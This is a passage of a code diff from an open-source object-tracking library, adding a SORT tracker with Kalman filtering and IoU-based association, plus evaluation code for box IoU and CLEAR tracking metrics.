dtype=np.float32) * 0.01 + + # Measurement covariance (R): noise in detection + self.R = np.eye(4, dtype=np.float32) * 0.1 + + # Error covariance matrix (P) + self.P = np.eye(8, dtype=np.float32) + + def predict(self) -> None: + """ + Predict the next state of the bounding box (applies the state transition). + """ + # Predict state + self.state = (self.F @ self.state).astype(np.float32) + # Predict error covariance + self.P = (self.F @ self.P @ self.F.T + self.Q).astype(np.float32) + + # Increase time since update + self.time_since_update += 1 + + def update(self, bbox: NDArray[np.float64]) -> None: + """ + Updates the state with a new detected bounding box. + + Args: + bbox: Detected bounding box in the form [x1, y1, x2, y2]. + """ + self.time_since_update = 0 + self.number_of_successful_updates += 1 + + # Kalman Gain + S: NDArray[np.float32] = (self.H @ self.P @ self.H.T + self.R).astype( + np.float32 + ) + K: NDArray[np.float32] = (self.P @ self.H.T @ np.linalg.inv(S)).astype( + np.float32 + ) + + # Residual + measurement: NDArray[np.float32] = bbox.reshape((4, 1)).astype(np.float32) + y: NDArray[np.float32] = ( + measurement - self.H @ self.state + ) # y should be float32 (4,1) + + # Update state + self.state = (self.state + K @ y).astype(np.float32) + + # Update covariance + identity_matrix: NDArray[np.float32] = np.eye(8, dtype=np.float32) + self.P = ((identity_matrix - K @ self.H) @ self.P).astype(np.float32) + + def get_state_bbox(self) -> NDArray[np.float32]: + """ + Returns the current bounding box estimate from the state vector. + + Returns: + The bounding box [x1, y1, x2, y2]. + """ + return self.state[:4, 0].flatten().astype(np.float32) diff --git a/trackers/core/sort/tracker.py b/trackers/core/sort/tracker.py new file mode 100644 index 0000000..5e0f2a5 --- /dev/null +++ b/trackers/core/sort/tracker.py @@ -0,0 +1,186 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +import numpy as np +import supervision as sv +from scipy.optimize import linear_sum_assignment + +from trackers.core.base import BaseTracker +from trackers.core.sort.kalman import SORTKalmanBoxTracker +from trackers.core.sort.utils import ( + get_alive_trackers, + get_iou_matrix, +) + + +class SORTTracker(BaseTracker): + """In SORT, object tracking begins with high-confidence detections fed into a + Kalman filter framework assuming uniform motion for state prediction across frames. + Association occurs via IoU-based costs in the Hungarian algorithm, enforcing a + threshold to filter weak matches and initialize new identities. Tracks persist only + with consistent associations, terminating quickly to avoid erroneous propagation. + This detection-driven approach underscores the importance of upstream detector + performance in achieving competitive multi-object tracking results. Over time, SORT + has become a cornerstone for evaluating motion-based improvements in the field. + + SORT's standout strength is its real-time capability, processing hundreds of frames + per second while maintaining accuracy comparable to more complex offline methods. It + performs well in controlled environments with reliable detections, minimizing + computational demands. However, without mechanisms for re-identification, it incurs + frequent identity switches during object reappearances post-occlusion. The linear + motion assumption limits effectiveness in non-linear paths, such as those in sports + or wildlife tracking. Ultimately, SORT's efficiency is offset by its sensitivity to + environmental complexities, necessitating hybrid extensions for broader + applicability. + + Args: + lost_track_buffer: `int` specifying number of frames to buffer when a + track is lost. Increasing this value enhances occlusion handling but + may increase ID switching for similar objects. + frame_rate: `float` specifying video frame rate in frames per second. + Used to scale the lost track buffer for consistent tracking across + different frame rates. + track_activation_threshold: `float` specifying minimum detection + confidence to create new tracks. Higher values reduce false + positives but may miss low-confidence objects. + minimum_consecutive_frames: `int` specifying number of consecutive + frames before a track is considered valid. Before reaching this + threshold, tracks are assigned `tracker_id` of `-1`. + minimum_iou_threshold: `float` specifying IoU threshold for associating + detections to existing tracks. Higher values require more overlap. + """ + + tracker_id = "sort" + + def __init__( + self, + lost_track_buffer: int = 30, + frame_rate: float = 30.0, + track_activation_threshold: float = 0.25, + minimum_consecutive_frames: int = 3, + minimum_iou_threshold: float = 0.3, + ) -> None: + # Calculate maximum frames without update based on lost_track_buffer and + # frame_rate. This scales the buffer based on the frame rate to ensure + # consistent time-based tracking across different frame rates. + self.maximum_frames_without_update = int(frame_rate / 30.0 * lost_track_buffer) + self.minimum_consecutive_frames = minimum_consecutive_frames + self.minimum_iou_threshold = minimum_iou_threshold + self.track_activation_threshold = track_activation_threshold + + # Active trackers + self.trackers: list[SORTKalmanBoxTracker] = [] + + def _get_associated_indices( + self, iou_matrix: np.ndarray, detection_boxes: np.ndarray + ) -> tuple[list[tuple[int, int]], set[int], set[int]]: + """ + Associate detections to trackers based on IOU + + Args: + iou_matrix: IOU cost matrix. + detection_boxes: Detected bounding boxes in the form [x1, y1, x2, y2]. + + Returns: + Matched indices, unmatched trackers, unmatched detections. + """ + matched_indices = [] + unmatched_trackers = set(range(len(self.trackers))) + unmatched_detections = set(range(len(detection_boxes))) + + if len(self.trackers) > 0 and len(detection_boxes) > 0: + # Find optimal assignment using scipy.optimize.linear_sum_assignment. + # Note that it uses a a modified Jonker-Volgenant algorithm with no + # initialization instead of the Hungarian algorithm as mentioned in the + # SORT paper. + row_indices, col_indices = linear_sum_assignment(iou_matrix, maximize=True) + for row, col in zip(row_indices, col_indices): + if iou_matrix[row, col] >= self.minimum_iou_threshold: + matched_indices.append((row, col)) + unmatched_trackers.remove(row) + unmatched_detections.remove(col) + + return matched_indices, unmatched_trackers, unmatched_detections + + def _spawn_new_trackers( + self, + confidences: np.ndarray | None, + detection_boxes: np.ndarray, + unmatched_detections: set[int], + ) -> None: + for detection_idx in unmatched_detections: + if ( + confidences is None + or detection_idx >= len(confidences) + or confidences[detection_idx] >= self.track_activation_threshold + ): + self.trackers.append( + SORTKalmanBoxTracker(detection_boxes[detection_idx]) + ) + + def update(self, detections: sv.Detections) -> sv.Detections: + """Update tracker state with new detections and return tracked objects. + Performs Kalman filter prediction, IoU-based association, and initializes + new tracks for unmatched high-confidence detections. + + Args: + detections: `sv.Detections` containing bounding boxes with shape + `(N, 4)` in `(x_min, y_min, x_max, y_max)` format and optional + confidence scores. + + Returns: + `sv.Detections` with `tracker_id` assigned for each detection. + Unmatched or immature tracks have `tracker_id` of `-1`. + """ + if len(self.trackers) == 0 and len(detections) == 0: + detections.tracker_id = np.array([], dtype=int) + return detections + + detection_boxes = ( + detections.xyxy if len(detections) > 0 else np.array([]).reshape(0, 4) + ) + + for tracker in self.trackers: + tracker.predict() + + iou_matrix = get_iou_matrix(self.trackers, detection_boxes) + matched_indices, _, unmatched_detections = self._get_associated_indices( + iou_matrix, detection_boxes + ) + + # Update matched trackers and record the det_idx -> tracker mapping + matched_tracker_for_det: dict[int, SORTKalmanBoxTracker] = {} + for row, col in matched_indices: + self.trackers[row].update(detection_boxes[col]) + matched_tracker_for_det[col] = self.trackers[row] + + self._spawn_new_trackers( + detections.confidence, detection_boxes, unmatched_detections + ) + + self.trackers = get_alive_trackers( + self.trackers, + self.minimum_consecutive_frames, + self.maximum_frames_without_update, + ) + + # Build tracker_ids from the recorded mapping (no deepcopy, no re-IoU) + tracker_ids = np.full(len(detection_boxes), -1, dtype=int) + for det_idx, tracker in matched_tracker_for_det.items(): + if tracker.number_of_successful_updates >= self.minimum_consecutive_frames: + if tracker.tracker_id == -1: + tracker.tracker_id = SORTKalmanBoxTracker.get_next_tracker_id() + tracker_ids[det_idx] = tracker.tracker_id + + detections.tracker_id = tracker_ids + return detections + + def reset(self) -> None: + """Reset tracker state by clearing all tracks and resetting ID counter. + Call this method when switching to a new video or scene. + """ + self.trackers = [] + SORTKalmanBoxTracker.count_id = 0 diff --git a/trackers/core/sort/utils.py b/trackers/core/sort/utils.py new file mode 100644 index 0000000..987f90f --- /dev/null +++ b/trackers/core/sort/utils.py @@ -0,0 +1,152 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from collections.abc import Sequence +from copy import deepcopy +from typing import TypeVar + +import numpy as np +import supervision as sv + +from trackers.core.bytetrack.kalman import ByteTrackKalmanBoxTracker +from trackers.core.sort.kalman import SORTKalmanBoxTracker + +KalmanBoxTrackerType = TypeVar( + "KalmanBoxTrackerType", bound=SORTKalmanBoxTracker | ByteTrackKalmanBoxTracker +) + + +def get_alive_trackers( + trackers: Sequence[KalmanBoxTrackerType], + minimum_consecutive_frames: int, + maximum_frames_without_update: int, +) -> list[KalmanBoxTrackerType]: + """ + Remove dead or immature lost tracklets and get alive trackers + that are within `maximum_frames_without_update` AND (it's mature OR + it was just updated). + + Args: + trackers: List of KalmanBoxTracker objects. + minimum_consecutive_frames: Number of consecutive frames that an object + must be tracked before it is considered a 'valid' track. + maximum_frames_without_update: Maximum number of frames without update + before a track is considered dead. + + Returns: + List of alive trackers. + """ + alive_trackers = [] + for tracker in trackers: + is_mature = tracker.number_of_successful_updates >= minimum_consecutive_frames + is_active = tracker.time_since_update == 0 + if tracker.time_since_update < maximum_frames_without_update and ( + is_mature or is_active + ): + alive_trackers.append(tracker) + return alive_trackers + + +def get_iou_matrix( + trackers: Sequence[KalmanBoxTrackerType], detection_boxes: np.ndarray +) -> np.ndarray: + """ + Build IOU cost matrix between detections and predicted bounding boxes + + Args: + trackers: List of KalmanBoxTracker objects. + detection_boxes: Detected bounding boxes in the + form [x1, y1, x2, y2]. + + Returns: + IOU cost matrix. + """ + predicted_boxes = np.array([t.get_state_bbox() for t in trackers]) + if len(predicted_boxes) == 0 and len(trackers) > 0: + # Handle case where get_state_bbox might return empty array + predicted_boxes = np.zeros((len(trackers), 4), dtype=np.float32) + + if len(trackers) > 0 and len(detection_boxes) > 0: + iou_matrix = sv.box_iou_batch(predicted_boxes, detection_boxes) + else: + iou_matrix = np.zeros((len(trackers), len(detection_boxes)), dtype=np.float32) + + return iou_matrix + + +def update_detections_with_track_ids( + trackers: Sequence[KalmanBoxTrackerType], + detections: sv.Detections, + detection_boxes: np.ndarray, + minimum_iou_threshold: float, + minimum_consecutive_frames: int, +) -> sv.Detections: + """ + The function prepares the updated Detections with track IDs. + If a tracker is "mature" (>= `minimum_consecutive_frames`) or recently updated, + it is assigned an ID to the detection that just updated it. + + Args: + trackers: List of SORTKalmanBoxTracker objects. + detections: The latest set of object detections. + detection_boxes: Detected bounding boxes in the + form [x1, y1, x2, y2]. + minimum_iou_threshold: IOU threshold for associating detections to + existing tracks. + minimum_consecutive_frames: Number of consecutive frames that an object + must be tracked before it is considered a 'valid' track. + + Returns: + A copy of the detections with `tracker_id` set + for each detection that is tracked. + """ + # Re-run association in the same way (could also store direct mapping) + final_tracker_ids = [-1] * len(detection_boxes) + + # Recalculate predicted_boxes based on current trackers after some may have + # been removed + predicted_boxes = np.array([t.get_state_bbox() for t in trackers]) + iou_matrix_final = np.zeros((len(trackers), len(detection_boxes)), dtype=np.float32) + + # Ensure predicted_boxes is properly shaped before the second iou calculation + if len(predicted_boxes) == 0 and len(trackers) > 0: + predicted_boxes = np.zeros((len(trackers), 4), dtype=np.float32) + + if len(trackers) > 0 and len(detection_boxes) > 0: + iou_matrix_final = sv.box_iou_batch(predicted_boxes, detection_boxes) + + row_indices, col_indices = np.where(iou_matrix_final > minimum_iou_threshold) + sorted_pairs = sorted( + zip(row_indices, col_indices), + key=lambda x: iou_matrix_final[x[0], x[1]], + reverse=True, + ) + used_rows: set[int] = set() + used_cols: set[int] = set() + for row, col in sorted_pairs: + # Double check index is in range + if row < len(trackers): + tracker_obj = trackers[int(row)] + # Only assign if the track is "mature" or is new but has enough hits + if (int(row) not in used_rows) and (int(col) not in used_cols): + if ( + tracker_obj.number_of_successful_updates + >= minimum_consecutive_frames + ): + # If tracker is mature but still has ID -1, assign a new ID + if tracker_obj.tracker_id == -1: + tracker_obj.tracker_id = ( + SORTKalmanBoxTracker.get_next_tracker_id() + ) + final_tracker_ids[int(col)] = tracker_obj.tracker_id + used_rows.add(int(row)) + used_cols.add(int(col)) + + # Assign tracker IDs to the returned Detections + updated_detections = deepcopy(detections) + updated_detections.tracker_id = np.array(final_tracker_ids) + + return updated_detections diff --git a/trackers/eval/__init__.py b/trackers/eval/__init__.py new file mode 100644 index 0000000..401aec6 --- /dev/null +++ b/trackers/eval/__init__.py @@ -0,0 +1,47 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +"""Evaluation metrics and utilities for tracking benchmarks.""" + +from trackers.eval.box import box_ioa, box_iou +from trackers.eval.clear import aggregate_clear_metrics, compute_clear_metrics +from trackers.eval.hota import aggregate_hota_metrics, compute_hota_metrics +from trackers.eval.identity import aggregate_identity_metrics, compute_identity_metrics +from trackers.eval.results import ( + BenchmarkResult, + CLEARMetrics, + HOTAMetrics, + IdentityMetrics, + SequenceResult, +) + + +def __getattr__(name: str): + """Lazy imports for evaluate functions to avoid circular imports.""" + if name in ("evaluate_mot_sequence", "evaluate_mot_sequences"): + from trackers.eval import evaluate as _evaluate + + return getattr(_evaluate, name) + raise AttributeError(f"module {__name__!r} has no attribute {name!r}") + + +__all__ = [ + "BenchmarkResult", + "CLEARMetrics", + "HOTAMetrics", + "IdentityMetrics", + "SequenceResult", + "aggregate_clear_metrics", + "aggregate_hota_metrics", + "aggregate_identity_metrics", + "box_ioa", + "box_iou", + "compute_clear_metrics", + "compute_hota_metrics", + "compute_identity_metrics", + "evaluate_mot_sequence", + "evaluate_mot_sequences", +] diff --git a/trackers/eval/box.py b/trackers/eval/box.py new file mode 100644 index 0000000..52d39be --- /dev/null +++ b/trackers/eval/box.py @@ -0,0 +1,198 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ +# Adapted from TrackEval (https://github.com/JonathonLuiten/TrackEval) +# Copyright (c) Jonathon Luiten. All Rights Reserved. +# Licensed under the MIT License [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from copy import deepcopy +from typing import Literal + +import numpy as np + +from trackers.eval.constants import EPS + +BoxFormat = Literal["xyxy", "xywh"] + + +def _xywh_to_xyxy(boxes: np.ndarray) -> np.ndarray: + """Convert boxes from xywh format to xyxy format. + + Args: + boxes: Array of shape `(N, 4)` in xywh format `(x, y, width, height)`. + + Returns: + Array of shape `(N, 4)` in xyxy format `(x0, y0, x1, y1)`. + """ + boxes = deepcopy(boxes) + boxes[:, 2] = boxes[:, 0] + boxes[:, 2] + boxes[:, 3] = boxes[:, 1] + boxes[:, 3] + return boxes + + +def box_iou( + boxes1: np.ndarray, + boxes2: np.ndarray, + box_format: BoxFormat = "xyxy", +) -> np.ndarray: + """Calculate the IoU (Intersection over Union) between two sets of boxes. + Compute pairwise IoU between all boxes in boxes1 and boxes2, returning a + matrix of shape `(N, M)` where N is the number of boxes in boxes1 and M is + the number of boxes in boxes2. + + Args: + boxes1: First set of boxes with shape `(N, 4)`. + boxes2: Second set of boxes with shape `(M, 4)`. + box_format: Format of the input boxes. Either `"xyxy"` for + `(x0, y0, x1, y1)` or `"xywh"` for `(x, y, width, height)`. + Defaults to `"xyxy"`. + + Returns: + IoU matrix of shape `(N, M)` where element `[i, j]` is the IoU between + `boxes1[i]` and `boxes2[j]`. Values are in range `[0, 1]`. + + Raises: + ValueError: If box_format is not `"xyxy"` or `"xywh"`. + + Examples: + >>> import numpy as np + >>> from trackers.eval import box_iou + >>> + >>> boxes1 = np.array([ + ... [0, 0, 10, 10], + ... [20, 20, 30, 30], + ... [5, 5, 15, 15], + ... ]) + >>> boxes2 = np.array([ + ... [5, 5, 15, 15], + ... [0, 0, 10, 10], + ... ]) + >>> + >>> box_iou(boxes1, boxes2, box_format="xyxy") + array([[0.14285714, 1. ], + [0. , 0. ], + [1. , 0.14285714]]) + """ + return _calculate_box_ious(boxes1, boxes2, box_format=box_format, do_ioa=False) + + +def box_ioa( + boxes1: np.ndarray, + boxes2: np.ndarray, + box_format: BoxFormat = "xyxy", +) -> np.ndarray: + """Calculate the IoA (Intersection over Area) between two sets of boxes. + IoA is calculated as intersection divided by the area of boxes1. This is + commonly used to determine if detections fall within crowd ignore regions. + + Args: + boxes1: First set of boxes with shape `(N, 4)`. The area of these boxes + is used as the denominator. + boxes2: Second set of boxes with shape `(M, 4)`. + box_format: Format of the input boxes. Either `"xyxy"` for + `(x0, y0, x1, y1)` or `"xywh"` for `(x, y, width, height)`. + Defaults to `"xyxy"`. + + Returns: + IoA matrix of shape `(N, M)` where element `[i, j]` is the IoA between + `boxes1[i]` and `boxes2[j]`. Values are in range `[0, 1]`. + + Raises: + ValueError: If box_format is not `"xyxy"` or `"xywh"`. + + Examples: + >>> import numpy as np + >>> from trackers.eval import box_ioa + >>> + >>> boxes1 = np.array([ + ... [5, 5, 15, 15], + ... [0, 0, 10, 10], + ... ]) + >>> boxes2 = np.array([ + ... [0, 0, 20, 20], + ... [5, 0, 15, 10], + ... ]) + >>> + >>> box_ioa(boxes1, boxes2, box_format="xyxy") + array([[1. , 0.5], + [1. , 0.5]]) + """ + return _calculate_box_ious(boxes1, boxes2, box_format=box_format, do_ioa=True) + + +def _calculate_box_ious( + boxes1: np.ndarray, + boxes2: np.ndarray, + box_format: BoxFormat = "xyxy", + do_ioa: bool = False, +) -> np.ndarray: + """Calculate IoU or IoA between two sets of boxes. + + Args: + boxes1: First set of boxes with shape `(N, 4)`. + boxes2: Second set of boxes with shape `(M, 4)`. + box_format: Format of the input boxes. Either `"xyxy"` or `"xywh"`. + do_ioa: If `True`, calculate IoA (intersection over area of boxes1). + If `False`, calculate IoU (intersection over union). + + Returns: + IoU/IoA matrix of shape `(N, M)`. + + Raises: + ValueError: If box_format is not `"xyxy"` or `"xywh"`. + """ + # Handle empty input arrays + if len(boxes1) == 0 or len(boxes2) == 0: + return np.zeros((len(boxes1), len(boxes2)), dtype=np.float64) + + # Convert xywh to xyxy if needed + if box_format == "xywh": + boxes1 = _xywh_to_xyxy(boxes1) + boxes2 = _xywh_to_xyxy(boxes2) + elif box_format != "xyxy": + raise ValueError(f"box_format must be 'xyxy' or 'xywh', got '{box_format}'") + + # Ensure float64 for numerical precision + boxes1 = np.asarray(boxes1, dtype=np.float64) + boxes2 = np.asarray(boxes2, dtype=np.float64) + + # Calculate intersection coordinates + # boxes1: (N, 4), boxes2: (M, 4) -> broadcasting to (N, M, 4) + min_ = np.minimum(boxes1[:, np.newaxis, :], boxes2[np.newaxis, :, :]) + max_ = np.maximum(boxes1[:, np.newaxis, :], boxes2[np.newaxis, :, :]) + + # Intersection: max of left edges to min of right edges + # min_[..., 2] is min of x1 values, max_[..., 0] is max of x0 values + intersection = np.maximum(min_[..., 2] - max_[..., 0], 0) * np.maximum( + min_[..., 3] - max_[..., 1], 0 + ) + + # Area of boxes1 + area1 = (boxes1[..., 2] - boxes1[..., 0]) * (boxes1[..., 3] - boxes1[..., 1]) + + if do_ioa: + # IoA: Intersection over Area of boxes1 + ioas = np.zeros_like(intersection) + valid_mask = area1 > 0 + EPS + ioas[valid_mask, :] = ( + intersection[valid_mask, :] / area1[valid_mask][:, np.newaxis] + ) + return ioas + else: + # IoU: Intersection over Union + area2 = (boxes2[..., 2] - boxes2[..., 0]) * (boxes2[..., 3] - boxes2[..., 1]) + union = area1[:, np.newaxis] + area2[np.newaxis, :] - intersection + + # Handle edge cases to avoid division issues + intersection[area1 <= 0 + EPS, :] = 0 + intersection[:, area2 <= 0 + EPS] = 0 + intersection[union <= 0 + EPS] = 0 + union[union <= 0 + EPS] = 1 + + ious = intersection / union + return ious diff --git a/trackers/eval/clear.py b/trackers/eval/clear.py new file mode 100644 index 0000000..7fca8ef --- /dev/null +++ b/trackers/eval/clear.py @@ -0,0 +1,370 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ +# Adapted from TrackEval (https://github.com/JonathonLuiten/TrackEval) +# Copyright (c) Jonathon Luiten. All Rights Reserved. +# Licensed under the MIT License [see LICENSE for details] +# ------------------------------------------------------------------------ +# Reference: trackeval/metrics/clear.py:38-129 (eval_sequence method) +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import Any + +import numpy as np +from scipy.optimize import linear_sum_assignment + +from trackers.eval.constants import EPS + + +def compute_clear_metrics( + gt_ids: list[np.ndarray], + tracker_ids: list[np.ndarray], + similarity_scores: list[np.ndarray], + threshold: float = 0.5, +) -> dict[str, Any]: + """Compute CLEAR metrics for multi-object tracking evaluation. + Calculate standard CLEAR metrics including MOTA, MOTP, ID switches, and + track quality metrics (MT/PT/ML) from per-frame ground truth and tracker + associations. + + Args: + gt_ids: List of ground truth ID arrays, one per frame. Each array has + shape `(num_gt_t,)` containing integer IDs for GTs in that frame. + tracker_ids: List of tracker ID arrays, one per frame. Each array has + shape `(num_tracker_t,)` containing integer IDs for detections. + similarity_scores: List of similarity matrices, one per frame. Each + matrix has shape `(num_gt_t, num_tracker_t)` with IoU or similar + similarity scores. + threshold: Minimum similarity score for valid match. Defaults to 0.5. + + Returns: + Dictionary containing CLEAR metrics: + - `MOTA`: Multiple Object Tracking Accuracy as `float` in range + `(-inf, 1]`. Computed as `(TP - FP - IDSW) / (TP + FN)`. + - `MOTP`: Multiple Object Tracking Precision as `float` in range + `[0, 1]`. Average similarity of matched pairs. + - `MODA`: Multiple Object Detection Accuracy as `float`. Computed as + `(TP - FP) / (TP + FN)`. + - `CLR_Re`: Recall as `float`. Computed as `TP / (TP + FN)`. + - `CLR_Pr`: Precision as `float`. Computed as `TP / (TP + FP)`. + - `MTR`: Mostly Tracked ratio as `float`. + - `PTR`: Partially Tracked ratio as `float`. + - `MLR`: Mostly Lost ratio as `float`. + - `sMOTA`: Summed MOTA as `float`. Computed as + `(MOTP_sum - FP - IDSW) / (TP + FN)`. + - `CLR_TP`: True positives (correct matches) as `int`. + - `CLR_FN`: False negatives (missed GTs) as `int`. + - `CLR_FP`: False positives (extra detections) as `int`. + - `IDSW`: ID switches as `int`. + - `MT`: Mostly Tracked count (>80% tracked) as `int`. + - `PT`: Partially Tracked count (20-80% tracked) as `int`. + - `ML`: Mostly Lost count (<20% tracked) as `int`. + - `Frag`: Fragmentations (track interruptions) as `int`. + - `MOTP_sum`: Raw MOTP sum for aggregation as `float`. + - `CLR_Frames`: Number of frames as `int`. + + Examples: + >>> import numpy as np + >>> from trackers.eval import compute_clear_metrics + >>> + >>> gt_ids = [ + ... np.array([0, 1]), + ... np.array([0, 1]), + ... np.array([0, 1]), + ... ] + >>> tracker_ids = [ + ... np.array([10, 20]), + ... np.array([10, 30]), + ... np.array([10, 30]), + ... ] + >>> similarity_scores = [ + ... np.array([[0.9, 0.1], [0.1, 0.8]]), + ... np.array([[0.85, 0.1], [0.1, 0.75]]), + ... np.array([[0.8, 0.1], [0.1, 0.7]]), + ... ] + >>> + >>> result = compute_clear_metrics(gt_ids, tracker_ids, similarity_scores) + >>> result["MOTA"] # doctest: +ELLIPSIS + 0.833... + >>> + >>> result["IDSW"] + 1 + >>> + >>> result["MT"] + 2 + """ + # Count total detections + num_gt_dets = sum(len(ids) for ids in gt_ids) + num_tracker_dets = sum(len(ids) for ids in tracker_ids) + + # Get unique GT IDs across all frames (sorted for searchsorted) + all_gt_ids = np.concatenate(gt_ids) if gt_ids and num_gt_dets > 0 else np.array([]) + unique_gt_ids = np.unique(all_gt_ids) + num_gt_ids = len(unique_gt_ids) + + num_frames = len(gt_ids) + + # Handle edge case: no tracker detections + if num_tracker_dets == 0: + num_gt_ids_total = num_gt_ids + return { + "MOTA": 0.0, + "MOTP": 0.0, + "MODA": 0.0, + "CLR_Re": 0.0, + "CLR_Pr": 0.0, + "MTR": 0.0, + "PTR": 0.0, + "MLR": 1.0 if num_gt_ids_total > 0 else 0.0, + "sMOTA": 0.0, + "CLR_TP": 0, + "CLR_FN": num_gt_dets, + "CLR_FP": 0, + "IDSW": 0, + "MT": 0, + "PT": 0, + "ML": num_gt_ids_total, + "Frag": 0, + "MOTP_sum": 0.0, + "CLR_Frames": num_frames, + } + + # Handle edge case: no GT detections + if num_gt_dets == 0: + return { + "MOTA": 0.0, + "MOTP": 0.0, + "MODA": 0.0, + "CLR_Re": 0.0, + "CLR_Pr": 0.0, + "MTR": 0.0, + "PTR": 0.0, + "MLR": 0.0, + "sMOTA": 0.0, + "CLR_TP": 0, + "CLR_FN": 0, + "CLR_FP": num_tracker_dets, + "IDSW": 0, + "MT": 0, + "PT": 0, + "ML": 0, + "Frag": 0, + "MOTP_sum": 0.0, + "CLR_Frames": num_frames, + } + + # Initialize counters + clr_tp = 0 + clr_fn = 0 + clr_fp = 0 + idsw = 0 + motp_sum = 0.0 + + # Per-GT tracking arrays + gt_id_count = np.zeros(num_gt_ids) + gt_matched_count = np.zeros(num_gt_ids) + gt_frag_count = np.zeros(num_gt_ids) + + # For IDSW tracking: prev_tracker_id tracks last-ever match per GT, + # prev_timestep_tracker_id tracks match from previous frame only + prev_tracker_id = np.full(num_gt_ids, np.nan) + prev_timestep_tracker_id = np.full(num_gt_ids, np.nan) + + # Process each timestep + for t, (gt_ids_t, tracker_ids_t) in enumerate(zip(gt_ids, tracker_ids)): + # Map GT IDs to indices using searchsorted (vectorized) + gt_indices_t = np.atleast_1d(np.searchsorted(unique_gt_ids, gt_ids_t)) + + # Handle empty frames + if len(gt_ids_t) == 0: + clr_fp += len(tracker_ids_t) + continue + if len(tracker_ids_t) == 0: + clr_fn += len(gt_ids_t) + gt_id_count[gt_indices_t] += 1 + continue + + # Get similarity matrix for this timestep + similarity = similarity_scores[t] + + # Build score matrix with IDSW prioritization (ref: clear.py:78-82) + # Add 1000 bonus for continuing previous association to minimize ID switches + score_mat = ( + tracker_ids_t[np.newaxis, :] + == prev_timestep_tracker_id[gt_indices_t[:, np.newaxis]] + ) + score_mat = 1000 * score_mat + similarity + score_mat[similarity < threshold - EPS] = 0 + + # Hungarian algorithm for optimal assignment + match_rows, match_cols = linear_sum_assignment(-score_mat) + match_rows = np.asarray(match_rows) + match_cols = np.asarray(match_cols) + + # Filter matches that are actually valid (score > 0) + actually_matched_mask = score_mat[match_rows, match_cols] > 0 + EPS + match_rows = match_rows[actually_matched_mask] + match_cols = match_cols[actually_matched_mask] + + matched_gt_indices = gt_indices_t[match_rows] + matched_tracker_ids_t = tracker_ids_t[match_cols] + + # Compute ID switches (ref: clear.py:94-97) + # IDSW occurs when GT was previously matched to a different tracker + prev_matched_tracker_ids = prev_tracker_id[matched_gt_indices] + is_idsw = ~np.isnan(prev_matched_tracker_ids) & np.not_equal( + matched_tracker_ids_t, prev_matched_tracker_ids + ) + idsw += int(np.sum(is_idsw)) + + # Update per-GT counters + gt_id_count[gt_indices_t] += 1 + gt_matched_count[matched_gt_indices] += 1 + + # Track fragmentations (ref: clear.py:102-107) + not_previously_tracked = np.isnan(prev_timestep_tracker_id) + prev_tracker_id[matched_gt_indices] = matched_tracker_ids_t + prev_timestep_tracker_id[:] = np.nan + prev_timestep_tracker_id[matched_gt_indices] = matched_tracker_ids_t + currently_tracked = ~np.isnan(prev_timestep_tracker_id) + gt_frag_count += np.logical_and(not_previously_tracked, currently_tracked) + + # Accumulate basic statistics + num_matches = len(matched_gt_indices) + clr_tp += num_matches + clr_fn += len(gt_ids_t) - num_matches + clr_fp += len(tracker_ids_t) - num_matches + + if num_matches > 0: + motp_sum += float(np.sum(similarity[match_rows, match_cols])) + + # Compute MT/PT/ML (ref: clear.py:118-121) + valid_mask = gt_id_count > 0 + tracked_ratio = gt_matched_count[valid_mask] / gt_id_count[valid_mask] + mt = int(np.sum(np.greater(tracked_ratio, 0.8))) + pt = int(np.sum(np.greater_equal(tracked_ratio, 0.2))) - mt + ml = num_gt_ids - mt - pt + + # Compute fragmentations + frag = int(np.sum(np.subtract(gt_frag_count[gt_frag_count > 0], 1))) + + # Compute final metrics (ref: clear.py:167-186) + num_gt_ids_total = mt + pt + ml + num_gt = clr_tp + clr_fn + + mtr = mt / max(1.0, num_gt_ids_total) + ptr = pt / max(1.0, num_gt_ids_total) + mlr = ml / max(1.0, num_gt_ids_total) + clr_re = clr_tp / max(1.0, num_gt) + clr_pr = clr_tp / max(1.0, clr_tp + clr_fp) + moda = (clr_tp - clr_fp) / max(1.0, num_gt) + mota = (clr_tp - clr_fp - idsw) / max(1.0, num_gt) + motp = motp_sum / max(1.0, clr_tp) + smota = (motp_sum - clr_fp - idsw) / max(1.0, num_gt) + + return { + "MOTA": float(mota), + "MOTP": float(motp), + "MODA": float(moda), + "CLR_Re": float(clr_re), + "CLR_Pr": float(clr_pr), + "MTR": float(mtr), + "PTR": float(ptr), + "MLR": float(mlr), + "sMOTA": float(smota), + "CLR_TP": clr_tp, + "CLR_FN": clr_fn, + "CLR_FP": clr_fp, + "IDSW": idsw, + "MT": mt, + "PT": pt, + "ML": ml, + "Frag": frag, + "MOTP_sum": float(motp_sum), + "CLR_Frames": num_frames, + } + + +def aggregate_clear_metrics( + sequence_metrics: list[dict[str, Any]], +) -> dict[str, Any]: + """Aggregate CLEAR metrics across multiple sequences. + + Sums integer fields and MOTP_sum, then recomputes derived ratios + from the totals. Matches TrackEval's combine_sequences method + (ref: trackeval/metrics/clear.py:131-137). + + Args: + sequence_metrics: List of CLEAR metric dictionaries from individual + sequences, as returned by `compute_clear_metrics`. + + Returns: + Aggregated CLEAR metrics dictionary. + """ + if not sequence_metrics: + return { + "MOTA": 0.0, + "MOTP": 0.0, + "MODA": 0.0, + "CLR_Re": 0.0, + "CLR_Pr": 0.0, + "MTR": 0.0, + "PTR": 0.0, + "MLR": 0.0, + "sMOTA": 0.0, + "CLR_TP": 0, + "CLR_FN": 0, + "CLR_FP": 0, + "IDSW": 0, + "MT": 0, + "PT": 0, + "ML": 0, 